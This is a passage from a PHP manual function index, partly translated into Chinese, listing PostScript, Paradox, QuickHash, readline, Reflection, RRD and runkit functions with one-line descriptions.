    • pspell_store_replacement - Store a replacement pair for a word
    • pspell_suggest - Suggest spellings of a word
    • ps_add_bookmark - Add bookmark to current page
    • ps_add_launchlink - Adds link which launches file
    • ps_add_locallink - Adds link to a page in the same document
    • ps_add_note - Adds note to current page
    • ps_add_pdflink - Adds link to a page in a second pdf document
    • ps_add_weblink - Adds link to a web location
    • ps_arc - Draws an arc counterclockwise
    • ps_arcn - Draws an arc clockwise
    • ps_begin_page - Start a new page
    • ps_begin_pattern - Start a new pattern
    • ps_begin_template - Start a new template
    • ps_circle - Draws a circle
    • ps_clip - Clips drawing to current path
    • ps_close - Closes a PostScript document
    • ps_closepath - Closes path
    • ps_closepath_stroke - Closes and strokes path
    • ps_close_image - Closes image and frees memory
    • ps_continue_text - Continue text in next line
    • ps_curveto - Draws a curve
    • ps_delete - Deletes all resources of a PostScript document
    • ps_end_page - End a page
    • ps_end_pattern - End a pattern
    • ps_end_template - End a template
    • ps_fill - Fills the current path
    • ps_fill_stroke - Fills and strokes the current path
    • ps_findfont - Loads a font
    • ps_get_buffer - Fetches the full buffer containig the generated PS data
    • ps_get_parameter - Gets certain parameters
    • ps_get_value - Gets certain values
    • ps_hyphenate - Hyphenates a word
    • ps_include_file - Reads an external file with raw PostScript code
    • ps_lineto - Draws a line
    • ps_makespotcolor - Create spot color
    • ps_moveto - Sets current point
    • ps_new - Creates a new PostScript document object
    • ps_open_file - Opens a file for output
    • ps_open_image - Reads an image for later placement
    • ps_open_image_file - Opens image from file
    • ps_open_memory_image - Takes an GD image and returns an image for placement in a PS document
    • ps_place_image - Places image on the page
    • ps_rect - Draws a rectangle
    • ps_restore - Restore previously save context
    • ps_rotate - Sets rotation factor
    • ps_save - Save current context
    • ps_scale - Sets scaling factor
    • ps_setcolor - Sets current color
    • ps_setdash - Sets appearance of a dashed line
    • ps_setflat - Sets flatness
    • ps_setfont - Sets font to use for following output
    • ps_setgray - Sets gray value
    • ps_setlinecap - Sets appearance of line ends
    • ps_setlinejoin - Sets how contected lines are joined
    • ps_setlinewidth - Sets width of a line
    • ps_setmiterlimit - Sets the miter limit
    • ps_setoverprintmode - Sets overprint mode
    • ps_setpolydash - Sets appearance of a dashed line
    • ps_set_border_color - Sets color of border for annotations
    • ps_set_border_dash - Sets length of dashes for border of annotations
    • ps_set_border_style - Sets border style of annotations
    • ps_set_info - Sets information fields of document
    • ps_set_parameter - Sets certain parameters
    • ps_set_text_pos - Sets position for text output
    • ps_set_value - Sets certain values
    • ps_shading - Creates a shading for later use
    • ps_shading_pattern - Creates a pattern based on a shading
    • ps_shfill - Fills an area with a shading
    • ps_show - Output text
    • ps_show2 - Output a text at current position
    • ps_show_boxed - Output text in a box
    • ps_show_xy - Output text at given position
    • ps_show_xy2 - Output text at position
    • ps_stringwidth - Gets width of a string
    • ps_string_geometry - Gets geometry of a string
    • ps_stroke - Draws the current path
    • ps_symbol - Output a glyph
    • ps_symbol_name - Gets name of a glyph
    • ps_symbol_width - Gets width of a glyph
    • ps_translate - Sets translation
    • putenv - 设置环境变量的值
    • px_close - Closes a paradox database
    • px_create_fp - Create a new paradox database
    • px_date2string - Converts a date into a string
    • px_delete - Deletes resource of paradox database
    • px_delete_record - Deletes record from paradox database
    • px_get_field - Returns the specification of a single field
    • px_get_info - Return lots of information about a paradox file
    • px_get_parameter - Gets a parameter
    • px_get_record - Returns record of paradox database
    • px_get_schema - Returns the database schema
    • px_get_value - Gets a value
    • px_insert_record - Inserts record into paradox database
    • px_new - Create a new paradox object
    • px_numfields - Returns number of fields in a database
    • px_numrecords - Returns number of records in a database
    • px_open_fp - Open paradox database
    • px_put_record - Stores record into paradox database
    • px_retrieve_record - Returns record of paradox database
    • px_set_blob_file - Sets the file where blobs are read from
    • px_set_parameter - Sets a parameter
    • px_set_tablename - Sets the name of a table (deprecated)
    • px_set_targetencoding - Sets the encoding for character fields (deprecated)
    • px_set_value - Sets a value
    • px_timestamp2string - Converts the timestamp into a string
    • px_update_record - Updates record in paradox database
  • q
    • QuickHashIntHash::add - This method adds a new entry to the hash
    • QuickHashIntHash::delete - This method deletes am entry from the hash
    • QuickHashIntHash::exists - This method checks whether a key is part of the hash
    • QuickHashIntHash::get - This method retrieves a value from the hash by its key
    • QuickHashIntHash::getSize - Returns the number of elements in the hash
    • QuickHashIntHash::loadFromFile - This factory method creates a hash from a file
    • QuickHashIntHash::loadFromString - This factory method creates a hash from a string
    • QuickHashIntHash::saveToFile - This method stores an in-memory hash to disk
    • QuickHashIntHash::saveToString - This method returns a serialized version of the hash
    • QuickHashIntHash::set - This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntHash::update - This method updates an entry in the hash with a new value
    • QuickHashIntHash::__construct - Creates a new QuickHashIntHash object
    • QuickHashIntSet::add - This method adds a new entry to the set
    • QuickHashIntSet::delete - This method deletes an entry from the set
    • QuickHashIntSet::exists - This method checks whether a key is part of the set
    • QuickHashIntSet::getSize - Returns the number of elements in the set
    • QuickHashIntSet::loadFromFile - This factory method creates a set from a file
    • QuickHashIntSet::loadFromString - This factory method creates a set from a string
    • QuickHashIntSet::saveToFile - This method stores an in-memory set to disk
    • QuickHashIntSet::saveToString - This method returns a serialized version of the set
    • QuickHashIntSet::__construct - Creates a new QuickHashIntSet object
    • QuickHashIntStringHash::add - This method adds a new entry to the hash
    • QuickHashIntStringHash::delete - This method deletes am entry from the hash
    • QuickHashIntStringHash::exists - This method checks whether a key is part of the hash
    • QuickHashIntStringHash::get - This method retrieves a value from the hash by its key
    • QuickHashIntStringHash::getSize - Returns the number of elements in the hash
    • QuickHashIntStringHash::loadFromFile - This factory method creates a hash from a file
    • QuickHashIntStringHash::loadFromString - This factory method creates a hash from a string
    • QuickHashIntStringHash::saveToFile - This method stores an in-memory hash to disk
    • QuickHashIntStringHash::saveToString - This method returns a serialized version of the hash
    • QuickHashIntStringHash::set - This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashIntStringHash::update - This method updates an entry in the hash with a new value
    • QuickHashIntStringHash::__construct - Creates a new QuickHashIntStringHash object
    • QuickHashStringIntHash::add - This method adds a new entry to the hash
    • QuickHashStringIntHash::delete - This method deletes am entry from the hash
    • QuickHashStringIntHash::exists - This method checks whether a key is part of the hash
    • QuickHashStringIntHash::get - This method retrieves a value from the hash by its key
    • QuickHashStringIntHash::getSize - Returns the number of elements in the hash
    • QuickHashStringIntHash::loadFromFile - This factory method creates a hash from a file
    • QuickHashStringIntHash::loadFromString - This factory method creates a hash from a string
    • QuickHashStringIntHash::saveToFile - This method stores an in-memory hash to disk
    • QuickHashStringIntHash::saveToString - This method returns a serialized version of the hash
    • QuickHashStringIntHash::set - This method updates an entry in the hash with a new value, or adds a new one if the entry doesn't exist
    • QuickHashStringIntHash::update - This method updates an entry in the hash with a new value
    • QuickHashStringIntHash::__construct - Creates a new QuickHashStringIntHash object
    • quoted_printable_decode - 将 quoted-printable 字符串转换为 8-bit 字符串
    • quoted_printable_encode - 将 8-bit 字符串转换成 quoted-printable 字符串
    • quotemeta - 转义元字符集
  • r
    • rad2deg - 将弧度数转换为相应的角度数
    • radius_acct_open - Creates a Radius handle for accounting
    • radius_add_server - Adds a server
    • radius_auth_open - Creates a Radius handle for authentication
    • radius_close - Frees all ressources
    • radius_config - Causes the library to read the given configuration file
    • radius_create_request - Create accounting or authentication request
    • radius_cvt_addr - Converts raw data to IP-Address
    • radius_cvt_int - Converts raw data to integer
    • radius_cvt_string - Converts raw data to string
    • radius_demangle - Demangles data
    • radius_demangle_mppe_key - Derives mppe-keys from mangled data
    • radius_get_attr - Extracts an attribute
    • radius_get_tagged_attr_data - Extracts the data from a tagged attribute
    • radius_get_tagged_attr_tag - Extracts the tag from a tagged attribute
    • radius_get_vendor_attr - Extracts a vendor specific attribute
    • radius_put_addr - Attaches an IP address attribute
    • radius_put_attr - Attaches a binary attribute
    • radius_put_int - Attaches an integer attribute
    • radius_put_string - Attaches a string attribute
    • radius_put_vendor_addr - Attaches a vendor specific IP address attribute
    • radius_put_vendor_attr - Attaches a vendor specific binary attribute
    • radius_put_vendor_int - Attaches a vendor specific integer attribute
    • radius_put_vendor_string - Attaches a vendor specific string attribute
    • radius_request_authenticator - Returns the request authenticator
    • radius_salt_encrypt_attr - Salt-encrypts a value
    • radius_send_request - Sends the request and waits for a reply
    • radius_server_secret - Returns the shared secret
    • radius_strerror - Returns an error message
    • rand - 产生一个随机整数
    • random_bytes - Generates cryptographically secure pseudo-random bytes
    • random_int - Generates cryptographically secure pseudo-random integers
    • range - 根据范围创建数组，包含指定的元素
    • rar:// - RAR
    • RarArchive::close - Close RAR archive and free all resources
    • RarArchive::getComment - Get comment text from the RAR archive
    • RarArchive::getEntries - Get full list of entries from the RAR archive
    • RarArchive::getEntry - Get entry object from the RAR archive
    • RarArchive::isBroken - Test whether an archive is broken (incomplete)
    • RarArchive::isSolid - Check whether the RAR archive is solid
    • RarArchive::open - Open RAR archive
    • RarArchive::setAllowBroken - Whether opening broken archives is allowed
    • RarArchive::__toString - Get text representation
    • RarEntry::extract - Extract entry from the archive
    • RarEntry::getAttr - Get attributes of the entry
    • RarEntry::getCrc - Get CRC of the entry
    • RarEntry::getFileTime - Get entry last modification time
    • RarEntry::getHostOs - Get entry host OS
    • RarEntry::getMethod - Get pack method of the entry
    • RarEntry::getName - Get name of the entry
    • RarEntry::getPackedSize - Get packed size of the entry
    • RarEntry::getStream - Get file handler for entry
    • RarEntry::getUnpackedSize - Get unpacked size of the entry
    • RarEntry::getVersion - Get minimum version of RAR program required to unpack the entry
    • RarEntry::isDirectory - Test whether an entry represents a directory
    • RarEntry::isEncrypted - Test whether an entry is encrypted
    • RarEntry::__toString - Get text representation of entry
    • RarException::isUsingExceptions - Check whether error handling with exceptions is in use
    • RarException::setUsingExceptions - Activate and deactivate error handling with exceptions
    • rar_wrapper_cache_stats - Cache hits and misses for the URL wrapper
    • rawurldecode - 对已编码的 URL 字符串进行解码
    • rawurlencode - 按照 RFC 3986 对 URL 进行编码
    • readdir - 从目录句柄中读取条目
    • readfile - 输出文件
    • readgzfile - Output a gz-file
    • readline - 读取一行
    • readline_add_history - 添加一行命令行历史记录
    • readline_callback_handler_install - 初始化一个 readline 回调接口，然后终端输出提示信息并立即返回
    • readline_callback_handler_remove - 移除上一个安装的回调函数句柄并且恢复终端设置
    • readline_callback_read_char - 当一个行被接收时读取一个字符并且通知 readline 调用回调函数
    • readline_clear_history - 清除历史
    • readline_completion_function - 注册一个完成函数
    • readline_info - 获取/设置readline内部的各个变量
    • readline_list_history - 获取命令历史列表
    • readline_on_new_line - 通知readline将光标移动到新行
    • readline_read_history - 读取命令历史
    • readline_redisplay - 重绘显示区
    • readline_write_history - 写入历史记录
    • readlink - 返回符号连接指向的目标
    • read_exif_data - 别名 exif_read_data
    • realpath - 返回规范化的绝对路径名
    • realpath_cache_get - 获取真实目录缓存的详情
    • realpath_cache_size - 获取真实路径缓冲区的大小
    • recode - 别名 recode_string
    • recode_file - Recode from file to file according to recode request
    • recode_string - Recode a string according to a recode request
    • RecursiveArrayIterator::getChildren - Returns an iterator for the current entry if it is an array or an object
    • RecursiveArrayIterator::hasChildren - Returns whether current entry is an array or an object
    • RecursiveCachingIterator::getChildren - Return the inner iterator's children as a RecursiveCachingIterator
    • RecursiveCachingIterator::hasChildren - Check whether the current element of the inner iterator has children
    • RecursiveCachingIterator::__construct - Construct
    • RecursiveCallbackFilterIterator::getChildren - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
    • RecursiveCallbackFilterIterator::hasChildren - Check whether the inner iterator's current element has children
    • RecursiveCallbackFilterIterator::__construct - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
    • RecursiveDirectoryIterator::getChildren - Returns an iterator for the current entry if it is a directory
    • RecursiveDirectoryIterator::getSubPath - Get sub path
    • RecursiveDirectoryIterator::getSubPathname - Get sub path and name
    • RecursiveDirectoryIterator::hasChildren - Returns whether current entry is a directory and not '.' or '..'
    • RecursiveDirectoryIterator::key - Return path and filename of current dir entry
    • RecursiveDirectoryIterator::next - Move to next entry
    • RecursiveDirectoryIterator::rewind - Rewind dir back to the start
    • RecursiveDirectoryIterator::__construct - Constructs a RecursiveDirectoryIterator
    • RecursiveFilterIterator::getChildren - Return the inner iterator's children contained in a RecursiveFilterIterator
    • RecursiveFilterIterator::hasChildren - Check whether the inner iterator's current element has children
    • RecursiveFilterIterator::__construct - Create a RecursiveFilterIterator from a RecursiveIterator
    • RecursiveIterator::getChildren - Returns an iterator for the current entry
    • RecursiveIterator::hasChildren - Returns if an iterator can be created for the current entry
    • RecursiveIteratorIterator::beginChildren - Begin children
    • RecursiveIteratorIterator::beginIteration - Begin Iteration
    • RecursiveIteratorIterator::callGetChildren - Get children
    • RecursiveIteratorIterator::callHasChildren - Has children
    • RecursiveIteratorIterator::current - Access the current element value
    • RecursiveIteratorIterator::endChildren - End children
    • RecursiveIteratorIterator::endIteration - End Iteration
    • RecursiveIteratorIterator::getDepth - Get the current depth of the recursive iteration
    • RecursiveIteratorIterator::getInnerIterator - Get inner iterator
    • RecursiveIteratorIterator::getMaxDepth - Get max depth
    • RecursiveIteratorIterator::getSubIterator - The current active sub iterator
    • RecursiveIteratorIterator::key - Access the current key
    • RecursiveIteratorIterator::next - Move forward to the next element
    • RecursiveIteratorIterator::nextElement - Next element
    • RecursiveIteratorIterator::rewind - Rewind the iterator to the first element of the top level inner iterator
    • RecursiveIteratorIterator::setMaxDepth - Set max depth
    • RecursiveIteratorIterator::valid - Check whether the current position is valid
    • RecursiveIteratorIterator::__construct - Construct a RecursiveIteratorIterator
    • RecursiveRegexIterator::getChildren - Returns an iterator for the current entry
    • RecursiveRegexIterator::hasChildren - Returns whether an iterator can be obtained for the current entry
    • RecursiveRegexIterator::__construct - Creates a new RecursiveRegexIterator
    • RecursiveTreeIterator::beginChildren - Begin children
    • RecursiveTreeIterator::beginIteration - Begin iteration
    • RecursiveTreeIterator::callGetChildren - Get children
    • RecursiveTreeIterator::callHasChildren - Has children
    • RecursiveTreeIterator::current - Get current element
    • RecursiveTreeIterator::endChildren - End children
    • RecursiveTreeIterator::endIteration - End iteration
    • RecursiveTreeIterator::getEntry - Get current entry
    • RecursiveTreeIterator::getPostfix - Get the postfix
    • RecursiveTreeIterator::getPrefix - Get the prefix
    • RecursiveTreeIterator::key - Get the key of the current element
    • RecursiveTreeIterator::next - Move to next element
    • RecursiveTreeIterator::nextElement - Next element
    • RecursiveTreeIterator::rewind - Rewind iterator
    • RecursiveTreeIterator::setPostfix - Set postfix
    • RecursiveTreeIterator::setPrefixPart - Set a part of the prefix
    • RecursiveTreeIterator::valid - Check validity
    • RecursiveTreeIterator::__construct - Construct a RecursiveTreeIterator
    • Reflection::export - Exports
    • Reflection::getModifierNames - 获取修饰符的名称
    • ReflectionClass::export - 导出一个类
    • ReflectionClass::getConstant - 获取定义过的一个常量
    • ReflectionClass::getConstants - 获取一组常量
    • ReflectionClass::getConstructor - 获取类的构造函数
    • ReflectionClass::getDefaultProperties - 获取默认属性
    • ReflectionClass::getDocComment - 获取文档注释
    • ReflectionClass::getEndLine - 获取最后一行的行数
    • ReflectionClass::getExtension - 根据已定义的类获取所在扩展的 ReflectionExtension 对象
    • ReflectionClass::getExtensionName - 获取定义的类所在的扩展的名称
    • ReflectionClass::getFileName - 获取定义类的文件名
    • ReflectionClass::getInterfaceNames - 获取接口（interface）名称
    • ReflectionClass::getInterfaces - 获取接口
    • ReflectionClass::getMethod - 获取一个类方法的 ReflectionMethod。
    • ReflectionClass::getMethods - 获取方法的数组
    • ReflectionClass::getModifiers - 获取类的修饰符
    • ReflectionClass::getName - 获取类名
    • ReflectionClass::getNamespaceName - 获取命名空间的名称
    • ReflectionClass::getParentClass - 获取父类
    • ReflectionClass::getProperties - 获取一组属性
    • ReflectionClass::getProperty - 获取类的一个属性的 ReflectionProperty
    • ReflectionClass::getReflectionConstant - Gets a ReflectionClassConstant for a class's constant
    • ReflectionClass::getReflectionConstants - Gets class constants
    • ReflectionClass::getShortName - 获取短名
    • ReflectionClass::getStartLine - 获取起始行号
    • ReflectionClass::getStaticProperties - 获取静态（static）属性
    • ReflectionClass::getStaticPropertyValue - 获取静态（static）属性的值
    • ReflectionClass::getTraitAliases - 返回 trait 别名的一个数组
    • ReflectionClass::getTraitNames - 返回这个类所使用 traits 的名称的数组
    • ReflectionClass::getTraits - 返回这个类所使用的 traits 数组
    • ReflectionClass::hasConstant - 检查常量是否已经定义
    • ReflectionClass::hasMethod - 检查方法是否已定义
    • ReflectionClass::hasProperty - 检查属性是否已定义
    • ReflectionClass::implementsInterface - 接口的实现
    • ReflectionClass::inNamespace - 检查是否位于命名空间中
    • ReflectionClass::isAbstract - 检查类是否是抽象类（abstract）
    • ReflectionClass::isAnonymous - 检查类是否是匿名类
    • ReflectionClass::isCloneable - 返回了一个类是否可复制
    • ReflectionClass::isFinal - 检查类是否声明为 final
    • ReflectionClass::isInstance - 检查类的实例
    • ReflectionClass::isInstantiable - 检查类是否可实例化
    • ReflectionClass::isInterface - 检查类是否是一个接口（interface）
    • ReflectionClass::isInternal - 检查类是否由扩展或核心在内部定义
    • ReflectionClass::isIterable - Check whether this class is iterable
    • ReflectionClass::isIterateable - 检查是否可迭代（iterateable）
    • ReflectionClass::isSubclassOf - 检查是否为一个子类
    • ReflectionClass::isTrait - 返回了是否为一个 trait
    • ReflectionClass::isUserDefined - 检查是否由用户定义的
    • ReflectionClass::newInstance - 从指定的参数创建一个新的类实例
    • ReflectionClass::newInstanceArgs - 从给出的参数创建一个新的类实例。
    • ReflectionClass::newInstanceWithoutConstructor - 创建一个新的类实例而不调用它的构造函数
    • ReflectionClass::setStaticPropertyValue - 设置静态属性的值
    • ReflectionClass::__construct - 初始化 ReflectionClass 类
    • ReflectionClass::__toString - 返回 ReflectionClass 对象字符串的表示形式。
    • ReflectionClassConstant::export - Export
    • ReflectionClassConstant::getDeclaringClass - Gets declaring class
    • ReflectionClassConstant::getDocComment - Gets doc comments
    • ReflectionClassConstant::getModifiers - Gets the class constant modifiers
    • ReflectionClassConstant::getName - Get name of the constant
    • ReflectionClassConstant::getValue - Gets value
    • ReflectionClassConstant::isPrivate - Checks if class constant is private
    • ReflectionClassConstant::isProtected - Checks if class constant is protected
    • ReflectionClassConstant::isPublic - Checks if class constant is public
    • ReflectionClassConstant::__construct - Constructs a ReflectionClassConstant
    • ReflectionClassConstant::__toString - Returns the string representation of the ReflectionClassConstant object
    • ReflectionExtension::export - Export
    • ReflectionExtension::getClasses - Gets classes
    • ReflectionExtension::getClassNames - 获取类名称
    • ReflectionExtension::getConstants - 获取常量
    • ReflectionExtension::getDependencies - 获取依赖
    • ReflectionExtension::getFunctions - 获取扩展中的函数
    • ReflectionExtension::getINIEntries - 获取ini配置
    • ReflectionExtension::getName - 获取扩展名称
    • ReflectionExtension::getVersion - 获取扩展版本号
    • ReflectionExtension::info - 输出扩展信息
    • ReflectionExtension::isPersistent - 返回扩展是否持久化载入
    • ReflectionExtension::isTemporary - 返回扩展是否是临时载入
    • ReflectionExtension::__clone - Clones
    • ReflectionExtension::__construct - Constructs a ReflectionExtension
    • ReflectionExtension::__toString - To string
    • ReflectionFunction::export - Exports function
    • ReflectionFunction::getClosure - Returns a dynamically created closure for the function
    • ReflectionFunction::invoke - Invokes function
    • ReflectionFunction::invokeArgs - Invokes function args
    • ReflectionFunction::isDisabled - Checks if function is disabled
    • ReflectionFunction::__construct - Constructs a ReflectionFunction object
    • ReflectionFunction::__toString - To string
    • ReflectionFunctionAbstract::getClosureScopeClass - Returns the scope associated to the closure
    • ReflectionFunctionAbstract::getClosureThis - 返回本身的匿名函数
    • ReflectionFunctionAbstract::getDocComment - 获取注释内容
    • ReflectionFunctionAbstract::getEndLine - 获取结束行号
    • ReflectionFunctionAbstract::getExtension - 获取扩展信息
    • ReflectionFunctionAbstract::getExtensionName - 获取扩展名称
    • ReflectionFunctionAbstract::getFileName - 获取文件名称
    • ReflectionFunctionAbstract::getName - 获取函数名称
    • ReflectionFunctionAbstract::getNamespaceName - 获取命名空间
    • ReflectionFunctionAbstract::getNumberOfParameters - 获取参数数目
    • ReflectionFunctionAbstract::getNumberOfRequiredParameters - 获取必须输入参数个数
    • ReflectionFunctionAbstract::getParameters - 获取参数
    • ReflectionFunctionAbstract::getReturnType - Gets the specified return type of a function
    • ReflectionFunctionAbstract::getShortName - 获取函数短名称
    • ReflectionFunctionAbstract::getStartLine - 获取开始行号
    • ReflectionFunctionAbstract::getStaticVariables - 获取静态变量
    • ReflectionFunctionAbstract::hasReturnType - Checks if the function has a specified return type
    • ReflectionFunctionAbstract::inNamespace - 检查是否处于命名空间
    • ReflectionFunctionAbstract::isClosure - 检查是否是匿名函数
    • ReflectionFunctionAbstract::isDeprecated - 检查是否已经弃用
    • ReflectionFunctionAbstract::isGenerator - 判断函数是否是一个生成器函数
    • ReflectionFunctionAbstract::isInternal - 判断函数是否是内置函数
    • ReflectionFunctionAbstract::isUserDefined - 检查是否是用户定义
    • ReflectionFunctionAbstract::isVariadic - Checks if the function is variadic
    • ReflectionFunctionAbstract::returnsReference - 检查是否返回参考信息
    • ReflectionFunctionAbstract::__clone - 复制函数
    • ReflectionFunctionAbstract::__toString - 字符串化
    • ReflectionGenerator::getExecutingFile - Gets the file name of the currently executing generator
    • ReflectionGenerator::getExecutingGenerator - Gets the executing Generator object
    • ReflectionGenerator::getExecutingLine - Gets the currently executing line of the generator
    • ReflectionGenerator::getFunction - Gets the function name of the generator
    • ReflectionGenerator::getThis - Gets the $this value of the generator
    • ReflectionGenerator::getTrace - Gets the trace of the executing generator
    • ReflectionGenerator::__construct - Constructs a ReflectionGenerator object
    • ReflectionMethod::export - 输出一个回调方法
    • ReflectionMethod::getClosure - 返回一个动态建立的方法调用接口，译者注：可以使用这个返回值直接调用非公开方法。
    • ReflectionMethod::getDeclaringClass - 获取反射函数调用参数的类表达
    • ReflectionMethod::getModifiers - 获取方法的修饰符
    • ReflectionMethod::getPrototype - 返回方法原型 (如果存在)
    • ReflectionMethod::invoke - Invoke
    • ReflectionMethod::invokeArgs - 带参数执行
    • ReflectionMethod::isAbstract - 判断方法是否是抽象方法
    • ReflectionMethod::isConstructor - 判断方法是否是构造方法
    • ReflectionMethod::isDestructor - 判断方法是否是析构方法
    • ReflectionMethod::isFinal - 判断方法是否定义 final
    • ReflectionMethod::isPrivate - 判断方法是否是私有方法
    • ReflectionMethod::isProtected - 判断方法是否是保护方法 (protected)
    • ReflectionMethod::isPublic - 判断方法是否是公开方法
    • ReflectionMethod::isStatic - 判断方法是否是静态方法
    • ReflectionMethod::setAccessible - 设置方法是否访问
    • ReflectionMethod::__construct - ReflectionMethod 的构造函数
    • ReflectionMethod::__toString - 返回反射方法对象的字符串表达
    • ReflectionObject::export - Export
    • ReflectionObject::__construct - Constructs a ReflectionObject
    • ReflectionParameter::allowsNull - Checks if null is allowed
    • ReflectionParameter::canBePassedByValue - Returns whether this parameter can be passed by value
    • ReflectionParameter::export - Exports
    • ReflectionParameter::getClass - 获得类型提示类。
    • ReflectionParameter::getDeclaringClass - Gets declaring class
    • ReflectionParameter::getDeclaringFunction - Gets declaring function
    • ReflectionParameter::getDefaultValue - Gets default parameter value
    • ReflectionParameter::getDefaultValueConstantName - Returns the default value's constant name if default value is constant or null
    • ReflectionParameter::getName - Gets parameter name
    • ReflectionParameter::getPosition - Gets parameter position
    • ReflectionParameter::getType - Gets a parameter's type
    • ReflectionParameter::hasType - Checks if parameter has a type
    • ReflectionParameter::isArray - Checks if parameter expects an array
    • ReflectionParameter::isCallable - Returns whether parameter MUST be callable
    • ReflectionParameter::isDefaultValueAvailable - 检查是否有默认值。
    • ReflectionParameter::isDefaultValueConstant - Returns whether the default value of this parameter is a constant
    • ReflectionParameter::isOptional - Checks if optional
    • ReflectionParameter::isPassedByReference - Checks if passed by reference
    • ReflectionParameter::isVariadic - Checks if the parameter is variadic
    • ReflectionParameter::__clone - Clone
    • ReflectionParameter::__construct - Construct
    • ReflectionParameter::__toString - To string
    • ReflectionProperty::export - Export
    • ReflectionProperty::getDeclaringClass - Gets declaring class
    • ReflectionProperty::getDocComment - Gets the property doc comment
    • ReflectionProperty::getModifiers - Gets the property modifiers
    • ReflectionProperty::getName - Gets property name
    • ReflectionProperty::getValue - Gets value
    • ReflectionProperty::isDefault - Checks if property is a default property
    • ReflectionProperty::isPrivate - Checks if property is private
    • ReflectionProperty::isProtected - Checks if property is protected
    • ReflectionProperty::isPublic - Checks if property is public
    • ReflectionProperty::isStatic - Checks if property is static
    • ReflectionProperty::setAccessible - Set property accessibility
    • ReflectionProperty::setValue - Set property value
    • ReflectionProperty::__clone - Clone
    • ReflectionProperty::__construct - Construct a ReflectionProperty object
    • ReflectionProperty::__toString - To string
    • ReflectionType::allowsNull - Checks if null is allowed
    • ReflectionType::isBuiltin - Checks if it is a built-in type
    • ReflectionType::__toString - To string
    • ReflectionZendExtension::export - Export
    • ReflectionZendExtension::getAuthor - Gets author
    • ReflectionZendExtension::getCopyright - Gets copyright
    • ReflectionZendExtension::getName - Gets name
    • ReflectionZendExtension::getURL - Gets URL
    • ReflectionZendExtension::getVersion - Gets version
    • ReflectionZendExtension::__clone - Clone handler
    • ReflectionZendExtension::__construct - Constructor
    • ReflectionZendExtension::__toString - To string handler
    • Reflector::export - Exports
    • Reflector::__toString - 转化成字符串
    • RegexIterator::accept - Get accept status
    • RegexIterator::getFlags - Get flags
    • RegexIterator::getMode - Returns operation mode
    • RegexIterator::getPregFlags - Returns the regular expression flags
    • RegexIterator::getRegex - Returns current regular expression
    • RegexIterator::setFlags - Sets the flags
    • RegexIterator::setMode - Sets the operation mode
    • RegexIterator::setPregFlags - Sets the regular expression flags
    • RegexIterator::__construct - Create a new RegexIterator
    • register_shutdown_function - 注册一个会在php中止时执行的函数
    • register_tick_function - Register a function for execution on each tick
    • rename - 重命名一个文件或目录
    • rename_function - Renames orig_name to new_name in the global function table
    • reset - 将数组的内部指针指向第一个单元
    • ResourceBundle::count - Get number of elements in the bundle
    • ResourceBundle::create - Create a resource bundle
    • ResourceBundle::get - Get data from the bundle
    • ResourceBundle::getErrorCode - Get bundle's last error code
    • ResourceBundle::getErrorMessage - Get bundle's last error message
    • ResourceBundle::getLocales - Get supported locales
    • restore_error_handler - 还原之前的错误处理函数
    • restore_exception_handler - 恢复之前定义过的异常处理函数。
    • restore_include_path - 还原 include_path 配置选项的值
    • Result::getAutoIncrementValue - Get autoincremented value
    • Result::getGeneratedIds - Get generated ids
    • Result::getWarnings - Get warnings from last operation
    • Result::getWarningsCount - Get warning count from last operation
    • Result::__construct - Result constructor
    • rewind - 倒回文件指针的位置
    • rewinddir - 倒回目录句柄
    • rmdir - 删除目录
    • round - 对浮点数进行四舍五入
    • RowResult::fetchAll - Get all rows from result
    • RowResult::fetchOne - Get row from result
    • RowResult::getColumnNames - Get all column names
    • RowResult::getColumns - Get column metadata
    • RowResult::getColumnsCount - Get column count
    • RowResult::getWarnings - Get warnings from last operation
    • RowResult::getWarningsCount - Get warning count from last operation
    • RowResult::__construct - RowResult constructor
    • rpm_close - Closes an RPM file
    • rpm_get_tag - Retrieves a header tag from an RPM file
    • rpm_is_valid - Tests a filename for validity as an RPM file
    • rpm_open - Opens an RPM file
    • rpm_version - Returns a string representing the current version of the rpmreader extension
    • RRDCreator::addArchive - Adds RRA - archive of data values for each data source
    • RRDCreator::addDataSource - Adds data source definition for RRD database
    • RRDCreator::save - Saves the RRD database to a file
    • RRDCreator::__construct - Creates new RRDCreator instance
    • rrdc_disconnect - Close any outstanding connection to rrd caching daemon
    • RRDGraph::save - Saves the result of query into image
    • RRDGraph::saveVerbose - Saves the RRD database query into image and returns the verbose information about generated graph
    • RRDGraph::setOptions - Sets the options for rrd graph export
    • RRDGraph::__construct - Creates new RRDGraph instance
    • RRDUpdater::update - Update the RRD database file
    • RRDUpdater::__construct - Creates new RRDUpdater instance
    • rrd_create - Creates rrd database file
    • rrd_error - Gets latest error message
    • rrd_fetch - Fetch the data for graph as array
    • rrd_first - Gets the timestamp of the first sample from rrd file
    • rrd_graph - Creates image from a data
    • rrd_info - Gets information about rrd file
    • rrd_last - Gets unix timestamp of the last sample
    • rrd_lastupdate - Gets information about last updated data
    • rrd_restore - Restores the RRD file from XML dump
    • rrd_tune - Tunes some RRD database file header options
    • rrd_update - Updates the RRD database
    • rrd_version - Gets information about underlying rrdtool library
    • rrd_xport - Exports the information about RRD database
    • rsort - 对数组逆向排序
    • rtrim - 删除字符串末端的空白字符（或者其他字符）
    • runkit_class_adopt - Convert a base class to an inherited class, add ancestral methods when appropriate
    • runkit_class_emancipate - Convert an inherited class to a base class, removes any method whose scope is ancestral
    • runkit_constant_add - Similar to define(), but allows defining in class definitions as well
    • runkit_constant_redefine - Redefine an already defined constant
    • runkit_constant_remove - Remove/Delete an already defined constant
    • runkit_function_add - Add a new function, similar to create_function
    • runkit_function_copy - Copy a function to a new function name
    • runkit_function_redefine - Replace a function definition with a new implementation
    • runkit_function_remove - Remove a function definition
    • runkit_function_rename - Change a function's name
    • runkit_import - Process a PHP file importing function and class definitions, overwriting where appropriate
    • runkit_lint - Check the PHP syntax of the specified php code
    • runkit_lint_file - Check the PHP syntax of the specified file
    • runkit_method_add - Dynamically adds a new method to a given class
    • runkit_method_copy - Copies a method from class to another
    • runkit_method_redefine - Dynamically changes the code of the given method
    • runkit_method_remove - Dynamically removes the given method
    • runkit_method_rename - Dynamically changes the name of the given method
    • runkit_return_value_used - Determines if the current functions return value will be used
    • Runkit_Sandbox - Runkit Sandbox Class -- PHP Virtual Machine
    • runkit_sandbox_output_handler - Specify a function to capture and/or process output from a runkit sandbox
